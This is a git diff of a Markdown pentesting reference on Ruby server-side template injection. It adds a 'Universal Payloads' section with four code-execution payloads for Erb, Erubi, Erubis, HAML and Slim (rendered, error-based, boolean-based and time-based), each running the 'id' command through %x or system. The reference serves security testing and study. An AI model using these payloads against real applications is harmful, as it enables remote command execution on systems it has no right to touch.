Injection/Ruby.md +++ b/Server Side Template Injection/Ruby.md @@ -5,6 +5,7 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Ruby](#ruby) - [Ruby - Basic injections](#ruby---basic-injections) - [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd) @@ -15,14 +16,27 @@ ## Templating Libraries | Template Name | Payload Format | -| ------------ | --------- | -| Erb | `<%= %>` | -| Erubi | `<%= %>` | -| Erubis | `<%= %>` | -| HAML | `#{ }` | -| Liquid | `{{ }}` | -| Mustache | `{{ }}` | -| Slim | `#{ }` | +|---------------|----------------| +| Erb | `<%= %>` | +| Erubi | `<%= %>` | +| Erubis | `<%= %>` | +| HAML | `#{ }` | +| Liquid | `{{ }}` | +| Mustache | `{{ }}` | +| Slim | `#{ }` | + +## Universal Payloads + +Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim. + +To use these payloads, wrap them in the appropriate tag. + +```ruby +%x('id') # Rendered RCE +File.read("Y:/A:/"+%x('id')) # Error-Based RCE +1/(system("id")&&1||0) # Boolean-Based RCE +system("id && sleep 5") # Time-Based RCE +``` ## Ruby @@ -74,3 +88,4 @@ Execute code using SSTI for **Slim** engine. ## References - [Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017](https://web.archive.org/web/20181119170413/https://www.trustedsec.com/2017/09/rubyerb-template-injection/) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)